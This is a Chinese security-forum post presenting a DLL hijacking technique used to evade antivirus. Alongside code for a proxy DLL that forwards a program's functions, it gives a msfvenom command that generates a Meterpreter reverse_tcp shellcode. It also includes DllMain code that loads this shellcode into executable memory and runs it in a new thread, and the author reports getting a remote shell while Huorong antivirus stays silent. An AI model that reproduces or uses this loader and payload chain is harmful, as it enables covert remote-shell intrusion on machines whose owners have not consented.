-
-
[原创]DLL劫持-免杀
-
2020-11-22 17:47
15120
-
小白初试,大佬轻喷
什么是DLL劫持
举个简单的例子,一个程序A调用了d.dll中的某些函数.我现在修改d.dll的名字变成d-org.dll
。然后我写再写一个d.dll
的文件,将原本d.dll
中的函数转发到d-org.dll
上。实际上就是多了一个中间商
就和开了代理一样,我一样从本机连到网站,只是中间走了一个代理
1 2 3 4 5 6 7 8 9 | - - - - - - - - - - - - - -
- A - - A -
- - - - - - - - - - - - - -
| | - - - - - - - - - -
call - - - > |_____ - new D -
| - - - - - - - - - -
- - - - - - - - - - - - - - - - |
- D - - D - org - ______|
- - - - - - - - - - - - - - - -
|
既然走了代理,那我们就可以在这个“代理商”这里做点手脚。比如夹带私货等等
怎样转发dll函数
道理都懂,但是怎么转发dll函数
最朴素的思路是什么?那无疑是直接LoadLibray
直接导入原来的dll,然后对
应的写一个相同的函数名,然后GetProcAddress
导入对应函数名的函数
这样可以做到,但是很麻烦,而且低效率,一个更高效的做法是利用#program
这条预编译命令
比如,我新的d.dll
要转发d-org.dll
中的一个msg
的函数
在dll文件中添加一条
dll劫持demo编写
我是用vs2019写x64,release模式
要建3个项目,一个是可执行文件hello.exe
(相当于a.exe),一个是dll-1.dll
,一个是dll-2.dll
dll-2.dll
是为了转发dll-1.dll
中的函数
先写dll-1,写个简单的messagebox
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | void msg() {
MessageBox( 0 , L "dll-1 load succeed" , 0 , 0 );
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break ;
}
return TRUE;
}
|
记得在头文件framework.h
中导出这个函数
1 2 3 4 5 6 7 8 9 | / / Windows 头文件
extern "C" __declspec(dllexport) void msg(void);
void msg();
|
然后写个调用这个dll的hello.exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | int main() {
typedef void( * DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
HINSTANCE hinst = LoadLibrary(L "Dll-1.dll" );
if (hinst ! = NULL) {
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg" );
}
if (GetDllfunc ! = NULL) {
( * GetDllfunc)();
}
return 0 ;
}
|
这个时候运行这个程序就回显示这个dll调用成功
然后来编写一个劫持的dll,也就是来转发函数的dll2
在导入我这个dll的时候我弹出一个劫持成功的弹窗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L "劫持成功!" , L "提示" , NULL);
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break ;
}
return TRUE;
} 
|
注意到预编译指令是
转发的dll名字是dll-1org
,这是我决定把dll-1改名成dll-1org了,所以写死在dll-2中,毕竟等下要将dll-2改名成dll-1,这样程序才会调用我的dll
这时候不是在vs中跑,我把这个3个文件放到同目录的地方,然后运行hello.exe

表示我成功劫持了,思路也很简单
免杀
我不擅长写shellcode,就直接用msf生成shellcode
msf里的shell被各大安全厂家都看的很死的,直接生成exe秒杀,这里不直接生成exe,生成shellcode文件就可以了
1 | msfvenom - a x64 - p windows / x64 / meterpreter / reverse_tcp LHOST = <电脑ip地址> LPORT = <随便选的没被占用端口> - f raw > shell. bin
|
继续用上面的例子来
dll-2就不弹窗了,在这个dll中导入shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | / / dllmain.cpp : 定义 DLL 应用程序的入口点。
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
FILE * fp;
size_t size;
unsigned char * buffer ;
fp = fopen( "shell.bin" , "rb" );
fseek(fp, 0 , SEEK_END);
size = ftell(fp);
fseek(fp, 0 , SEEK_SET);
buffer = (unsigned char * )malloc(size);
fread( buffer , size, 1 , fp);
void * exec = VirtualAlloc( 0 , size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy( exec , buffer , size);
((void( * ) ()) exec )();
return 0 ;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0 , DoMagic, NULL, 0 , NULL);
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break ;
}
return TRUE;
}
|
上面的函数就是读取shellcode,然后申请一块内存,再就执行函数,相当执行shellcode
我不做其他处理,没加上其他免杀操作,此时来执行这个程序

可以看到,msf返回shell了,然儿火绒没有丝毫反应
火绒:你不讲武德
其实很简单,就是dll中申请内存,直接执行shellcode。
我尝试这个写法,程序中直接执行shellcode,会断了
参考文章
DLL代理转发与维权
DLL劫持
[培训]《安卓高级研修班(网课)》月薪三万计划